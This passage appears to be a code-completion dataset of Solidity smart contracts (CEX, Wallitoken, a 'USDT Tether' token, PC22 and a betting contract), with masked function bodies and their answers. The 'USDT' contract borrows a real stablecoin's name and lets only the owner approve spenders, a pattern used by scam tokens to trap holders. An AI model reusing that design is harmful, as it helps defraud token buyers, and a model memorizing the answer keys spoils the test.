sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "CEX"; name = "CEXToken"; decimals = 15; _totalSupply = 100000000000000000000000; balances[0x019d6950Aa7C3e6B9D2731D7d559Cc4253A63442] = _totalSupply; emit Transfer(address(0), 0x019d6950Aa7C3e6B9D2731D7d559Cc4253A63442, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
6,567
Wallitoken
Wallitoken
contract Wallitoken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of Wallitoken function Wallitoken( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract Wallitoken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 10000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000; // Update total supply (100000 for example) name = "Walli"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "WALLI"; // Set the symbol for display purposes
function Wallitoken( )
//human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of Wallitoken function Wallitoken( )
1,227
USDT
null
contract USDT is Context, IERC20, IERC20Metadata, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint private _decimals; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () {<FILL_FUNCTION_BODY> } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract USDT is Context, IERC20, IERC20Metadata, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint private _decimals; <FILL_FUNCTION> /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_name = "USDT Tether"; _symbol = "USDT"; _decimals = 18; _createInitialSupply(owner(), 100000000 * 10**(_decimals));
constructor ()
/** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor ()
32,562
ERC20
_transfer
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string public _name; string public _symbol; uint8 public _decimals; address private _owner; uint256 public _totalSupply; constructor() { _name = "PC22"; _symbol = "PC2"; _decimals = 18; _owner = msg.sender; _totalSupply = 10000000000000000000000; _balances[_owner] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string public _name; string public _symbol; uint8 public _decimals; address private _owner; uint256 public _totalSupply; constructor() { _name = "PC22"; _symbol = "PC2"; _decimals = 18; _owner = msg.sender; _totalSupply = 10000000000000000000000; _balances[_owner] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } <FILL_FUNCTION> /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual
35,232
BetWinner
getTeam
contract BetWinner is Ownable { address owner; // team has name and its total bet amount and bettors struct Team { string name; uint256 bets; address[] bettors; mapping(address => uint256) bettorAmount; } Team[] teams; uint8 public winningTeamIndex = 255; // 255 => not set // payout table for winners mapping(address => uint256) public payOuts; bool public inited; // timestamps uint32 public bettingStart; uint32 public bettingEnd; uint32 public winnerAnnounced; uint8 public feePercentage; uint public minimumBet; uint public totalFee; // events event BetPlaced(address indexed _from, uint8 indexed _teamId, uint _value); event Withdraw(address indexed _to, uint _value); event Started(uint bettingStartTime, uint numberOfTeams); event WinnerAnnounced(uint8 indexed teamIndex); // constructor function BetWinner() public Ownable() { feePercentage = 2; minimumBet = 100 szabo; } // get bettingStart, bettingEnd, winnerAnnounced, winnerIndex, teams count function betInfo() public view returns (uint32, uint32, uint32, uint8, uint) { return (bettingStart, bettingEnd, winnerAnnounced, winningTeamIndex, teams.length); } function bettingStarted() private view returns (bool) { return now >= bettingStart; } function bettingEnded() private view returns (bool) { return now >= bettingEnd; } // remember to add all teams before calling startBetting function addTeam(string _name) public onlyOwner { require(!inited); Team memory t = Team({ name: _name, bets: 0, bettors: new address[](0) }); teams.push(t); } // set betting start and stop times. after that teams cannot be added function startBetting(uint32 _bettingStart, uint32 _bettingEnd) public onlyOwner { require(!inited); bettingStart = _bettingStart; bettingEnd = _bettingEnd; inited = true; Started(bettingStart, teams.length - 1); } // get total bet amount for address for team function getBetAmount(uint8 teamIndex) view public returns (uint) { return teams[teamIndex].bettorAmount[msg.sender]; } // get team data (name, total bets, bettor count) function getTeam(uint8 teamIndex) view public returns (string, uint, uint) {<FILL_FUNCTION_BODY> } // get total bets for every team function totalBets() view public returns (uint) { uint total = 0; for (uint i = 0; i < teams.length; i++) { total += teams[i].bets; } return total; } // place bet to team function 